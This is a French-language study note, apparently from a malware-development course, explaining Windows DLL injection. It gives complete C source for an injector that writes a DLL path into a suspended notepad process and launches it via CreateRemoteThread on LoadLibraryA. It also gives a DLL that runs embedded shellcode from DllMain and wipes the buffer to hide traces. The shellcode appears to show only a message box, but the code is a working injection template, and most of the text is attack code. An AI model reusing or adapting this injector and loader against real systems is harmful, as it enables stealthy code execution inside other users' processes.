

REWIND - DLL injection

lundi 9 Février 2026 20:32

Donc bref explication :

Une DLL c'est un exécutable qu'on ne peut pas exécuter directement. Il faut l'appeler via des fonctions du style : GetProcAddress ou LoadLibrary. Elle contient des fonctions, variables etc comme un .exe. La seule différence est qu'elle est dynamique cad qu'on peut la modifier quand on le souhaite. Idem pour les handle, pour les dll le type n'est plus HANDLE mais HMODULE (handle sur un module) (car une DLL c'est un module (elle a plusieurs noms).

Exemple de code simple :

```
#include <Windows.h>

BOOL __stdcall DllMain(HINSTANCE hModule, DWORD dwReason, LPVOID lpvReserved) {

    switch (dwReason) {

        case DLL_PROCESS_ATTACH:
            MessageBox(NULL, L"WHO GOES THERE", L"KAW KAW KAW",
MB_ICONEXCLAMATION);
            break;
        }

        return TRUE;
    }
}
```

DLL injection dans un processus :

Explication :

Dans le cas où **une dll n'est pas chargé en mémoire** du programme, on utilise cette fonction (**LoadLibrary**) pour charger une dll en mémoire et on récupère le handle de cette dll.

D'abord on veut loader cette dll dans le processus cible, pour ça on va utiliser la fonction **LoadLibrary** qui prend en paramètre le handle de notre module. Cette fonction va loader le module dans le space adresse du processus cible. Cette fonction retourne une handle sur le module.

```
HMODULE LoadLibraryA(
[in] LPCSTR lpLibFileName
);
```

Et pour libérer on utilise la fonction **FreeLibrary** à la fin quand on a finis.

Dans le cas où la **dll est déjà chargé en mémoire** on utilise **GetModuleHandle** pour récupérer le handle d'une dll déjà chargé.

```
HMODULE GetModuleHandleA(
[in, optional] LPCSTR lpModuleName
);
```

Ensuite on doit récupérer la fonction qu'on souhaite utiliser dans la dll. Pour ça on va utiliser la fonction **GetProcAddress** qui va récupérer l'adresse de la fonction exporté de la dll. Elle prend en parametre le handle du module (donc de la dll) et le nom de la fonction. La valeur retournée est l'adresse de la fonction exporté.

```
FARPROC GetProcAddress(
[in] HMODULE hModule,
[in] LPCSTR lpProcName
);
```

Enfin apres avoir charger notre fonction qui se trouve dans la dll, on veut qu'elle s'exécute. Pour ça on va utiliser la fonction **CreateRemoteThread**. Sauf que à la différence de l'injection classique de shellcode, on va avoir besoin d'indiquer au thread ou il doit commencer son exécution. Comme on veut qu'il exécute notre fonction dans le dll on doit lui indiquer l'adresse de cette fonction. On doit créer une variable qui retourne le type **LPTHREAD_START_ROUTINE** qui récupérera l'adresse de point de départ du thread. On utilise la fonction **GetProcAddress** pour récupérer l'adresse de la fonction qui se trouve dans la dll.

```
[in] lpStartAddress

A pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread and represents the starting address of the thread in the remote process. The function must exist in the remote process. For more information, see ThreadProc.
```

Explication de chatgpt : On récupères l'adresse mémoire d'une fonction (par exemple **LoadLibraryW**) avec **GetProcAddress**, puis tu la convertis au type **LPTHREAD_START_ROUTINE** parce que c'est le type attendu par Windows pour définir le point de départ d'un thread. Ensuite, quand tu crées un thread (souvent dans un autre processus), Windows commence son exécution directement à cette adresse : autrement dit, la première chose que le thread fera sera d'exécuter cette fonction, généralement avec un argument comme le nom d'une DLL à charger.

STOP JE N'AVAIS PAS CAPTE TOUT CELA !!!!!!!

Fonction	Opère sur...	Retourne	Usage typique
GetModuleHandleA	Processus actuel	Handle de DLL déjà chargée	Vérifier si une DLL est déjà chargée
LoadLibraryA	Processus actuel	Handle de DLL chargée	Charger une DLL dans le processus
GetProcAddress	DLL spécifiée	Adresse de fonction dans la DLL	Obtenir l'adresse d'une fonction exportée

HMODULE GetModuleHandleA(LPCSTR lpModuleName);

Cherche si une DLL est déjà chargée dans le processus courant et retourne son handle.

HMODULE LoadLibraryA(LPCSTR lpLibFileName);

Charge une DLL dans le processus courant (si pas déjà chargée) et retourne son handle.

FARPROC GetProcAddress(HMODULE hModule, LPCSTR lpProcName);

Trouve l'adresse d'une fonction exportée dans une DLL.

Donc voilà comment ça se passe.

Ce que j'ai fait c'est juste appeler un dll dans mon programme (evil.exe).
Nous ce qu'on veut c'est injecter une dll dans un autre programme mais on ne peut pas le faire directement avec la fonction LoadLibrary (qui permet de loader une dll pour rappel).
car on a pas accès à ce processus cible.

Donc comment faire ?

On va juste charger dans notre programme la fonction **LoadLibrary** de la dll kernel32 pour l'utiliser.

""Le Problème Fondamental

Chaque processus Windows a son propre espace mémoire isolé. Quand tu veux injecter une DLL dans notepad, tu dois :

1. Copier le chemin de ta DLL dans la mémoire de notepad
2. Dire à notepad : "Charge cette DLL !"

Mais comment dire à notepad de charger une DLL ? Tu ne peux pas appeler LoadLibrary directement depuis ton programme, car ça chargerait la DLL dans TON processus !""

Donc voilà comment on va faire :

On va d'abord utiliser GetModuleHandleA parce que la dll kernel32 a le don d'être présente dans quasiment tous les processus donc pas besoin d'utiliser **LoadLibrary** ici.

Pourquoi ça marche ?

Dans ton programme, tu trouves où est LoadLibraryA dans kernel32.dll

Cette même adresse est valide dans notepad aussi !

Tu dis à notepad : "Exécute le code à l'adresse 0x7FF...123 (qui est LoadLibraryA)"

Ensuite on va utiliser la fonction GetProcAddress pour récupérer l'adresse de la fonction LoadLibraryA. On récupère enfin le handle de ce module.

Il faut comprendre que je peux récupérer ma dll et la charger depuis mon programme evil.exe MAIS je ne peux pas le faire localement sur un programme à distance.

D'où le fait qu'on va bypasser ça en récupérant l'adresse de la fonction LoadLibraryA dans la dll kernel32 pour ensuite passer en paramètre cette adresse dans la fonction CreateRemoteThread qui demande une adresse d'une fonction qui existe dans le processus :

[in] lpStartAddress

A pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread and represents the starting address of the thread in the remote process. The function must exist in the remote process. For more information, see ThreadProc.

LoadLibrary

Puis juste après on a un paramètre optionnel qui est une variable qui sera passé dans l'adresse de départ du thread. Bref en gros c'est une variable qui va être exécuté par la fonction qui débute dans le nouveau thread. Comme notre fonction (lpStartAddress) est LoadLibraryA ça veut dire que la variable qu'on va lui passer sera le chemin vers notre dll.

[in, optional] lpParameter

A pointer to a variable to be passed to the thread function pointed to by lpStartAddress. This parameter can be NULL.

Ce qui nous donne donc :

```
#include <stdio.h>
#include <windows.h>
//init de la macro pour vérifier le status
#define NT_SUCCESS(x) ((NTSTATUS)(x) >= 0)
int main(int argc, char* argv[]){
    HANDLE hProcess = 0;
    HANDLE hThread = 0;
    HMODULE hModule = 0;
    DWORD threadId = 0;
    PVOID lpAddressFunc;
    PVOID RemoteBufferShell;
    LPCSTR notepad = "C:\\Windows\\System32\\notepad.exe";
    char DllName [] = "C:\\Users\\Alice\\Desktop\\HACK\\
    \\maldev_academy\\exo\\easyDLL1\\x64\\Release\\
    \\easyDLL1.dll";
    PROCESS_INFORMATION pi = {0};
    STARTUPINFOA lpStartupInfo = {0};
    PVOID DllAddress = NULL;
    size_t DllSize = sizeof(DllName)+1;
    SIZE_T lpNumberOfBytesWritten = 0;

    //vérifier si la dll existe déjà dans le process ou
    pas. la valeur de retour est un handle sur ce module.
    hModule = GetModuleHandleA("kernel32.dll");
    if(hModule == NULL){
        printf("Erreur avec GetModuleHandleA. Code :
    %lu\\n", GetLastError());
        return EXIT_FAILURE;
    }

    //on récupère l'adresse de la fonction que l'on
    souhaite exécuter a distance
```

```

lpAddressFunc = GetProcAddress(hModule,
"LoadLibraryA"); //on veut récupérer la fonction
loadLibrary
if(lpAddressFunc == NULL){
printf("Erreur avec GetProcAddress. Code : %d\n",
GetLastError());
return EXIT_FAILURE;
}

//on va ouvrir un processus
CreateProcessA(notepad, NULL, NULL, NULL, TRUE,
CREATE_SUSPENDED, NULL, NULL, &lpStartupInfo, &pi);
if(CreateProcessA == NULL){
printf("Erreur avec CreateProcessA. Code : %lu\n",
GetLastError());
return EXIT_FAILURE;
}

//récupérer le handle de ce process
hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE,
pi.dwProcessId);
if(hProcess == NULL){
printf("Erreur avec OpenProcess. Code : %lu\n",
GetLastError());
return EXIT_FAILURE;
}

//on doit allouer de la place dans la mémoire du
processus cible pour injecter le contenu de notre dll
//la variable RemoteBufferShell contiendra le contenu
allouer de notre shellcode
RemoteBufferShell = VirtualAllocEx(hProcess, NULL,
(SIZE_T)DllSize, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if(RemoteBufferShell == NULL){
printf("Erreur avec VirtualAlloc. Code : %d\n",
GetLastError());
return EXIT_FAILURE;
}

//on écrit dans la mémoire du processus notepad le
contenu
WriteProcessMemory(hProcess, RemoteBufferShell,
DllName, DllSize, &lpNumberOfBytesWritten);
if(!WriteProcessMemory){
printf("Erreur avec WriteProcessMemory. Code :
%d\n", GetLastError());
return FALSE;
}

//on créer le thread qui commence à l'adresse de la
fonction importée
//en quatrième argument on veut l'adresse de la
fonction importée depuis la dll. (ici c'est la variable
lpAddressFunc qui contient cette adresse)
hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)lpAddressFunc,
RemoteBufferShell, 0, &threadId);
if(hThread == NULL){
printf("Erreur avec CreateRemoteThread. Code :
%d\n", GetLastError());
return EXIT_FAILURE;
}
return 0;
}

```

CONTENU DE LA DLL

(TIPS !! Il faut faire comme si je faisais une **injection LOCAL**. Comme la DLL va être injecter dans le programme (comme un virus qui va faire sa tâche localement) Donc je dois allouer le shellcode, l'écrire etc de manière local. Donc je dois utiliser les fonctions suivantes :

VirtualAlloc - Allocates memory which will be used to store the payload

VirtualProtect - Change the memory protection of the allocated memory to be executable in order to execute the payload.

CreateThread - Creates a new thread that runs the payloads

Ce qui nous donne :

```

#include <stdio.h>
#include <windows.h>
#define NT_SUCCESS(x) ((NTSTATUS)(x) >= 0)

BOOL RunShell() {
    unsigned char shellcode[] =

"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xcc\x00\x00\x00\x
41"

"\x51\x41\x50\x52\x51\x48\x31\xd2\x65\x48\x8b\x52\x60\x
48"

"\x8b\x52\x18\x48\x8b\x52\x20\x56\x48\x8b\x72\x50\x4d\x
31"

"\xc9\x48\x0f\xb7\x4a\x4a\x48\x31\xc0\xac\x3c\x61\x7c\x
02"

"\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x
51"

"\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x
18"

"\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x

```

```

00"

"\x48\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48\x18\x44\x8b\x
40"

"\x20\x50\x49\x01\xd0\xe3\x56\x4d\x31\xc9\x48\xff\xc9\x
41"

"\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0\xac\x41\xc1\xc9\x
0d"

"\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x
39"

"\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x
8b"

"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x
48"

"\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x
41"

"\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x
48"

"\x8b\x12\xe9\x4b\xff\xff\xff\x5d\xe8\x0b\x00\x00\x00\x
75"

"\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00\x59\x41\xba\x
4c"

"\x77\x26\x07\xff\xd5\x49\xc7\xc1\x00\x00\x00\x00\xe8\x
12"

"\x00\x00\x00\x48\x61\x63\x6b\x20\x54\x68\x65\x20\x50\x
6c"

"\x61\x6e\x65\x74\x20\x21\x00\x5a\xe8\x05\x00\x00\x00\x
48"

"\x41\x48\x41\x00\x41\x58\x48\x31\xc9\x41\xba\x45\x83\x
56"

"\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff\x
d5";

```

```

PVOID ShellcodeAddress = NULL;
PROCESS_INFORMATION pi = { 0 };
STARTUPINFOA lpStartupInfo = { 0 };
SIZE_T ShellSize = sizeof(shellcode);
SIZE_T lpNumberOfBytesWritten = 0;
DWORD ThreadId = 0;
DWORD dwOldProtection = NULL;
ShellcodeAddress = VirtualAlloc(NULL, ShellSize,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (ShellcodeAddress == NULL) {
    printf("Erreur : %d", GetLastError());
    return EXIT_FAILURE;
}

//fonction qui permet de copier la valeur de
shellcode dans shellcodeaddress
memcpy(ShellcodeAddress, shellcode, ShellSize);
//ensuite on remplit de Zéro la variable shellcode
histoire d'effacer nos trace.
memset(shellcode, '\0', ShellSize);

VirtualProtect(ShellcodeAddress, ShellSize,
PAGE_EXECUTE_READWRITE, &dwOldProtection);
if (!VirtualProtect) {
    printf("Erreur : %d", GetLastError());
    return FALSE;
}

CreateThread(NULL, NULL,
(LPTHREAD_START_ROUTINE)ShellcodeAddress, NULL, NULL,
NULL);
if (CreateThread == NULL) {
    printf("Erreur : %d", GetLastError());
    return EXIT_FAILURE;
}
}

BOOL __stdcall DllMain( HMODULE hModule, DWORD
reason, LPVOID lpReserved)
{
    switch (reason)
    {
        case DLL_PROCESS_ATTACH:
            //MessageBox(0, "Bonjour", "CACACA",
            MB_CANCELTRYCONTINUE);
            RunShell();
    }
    return TRUE;
}

```

OK j'ai enfin compris et je confirme que je n'aime pas les dll.

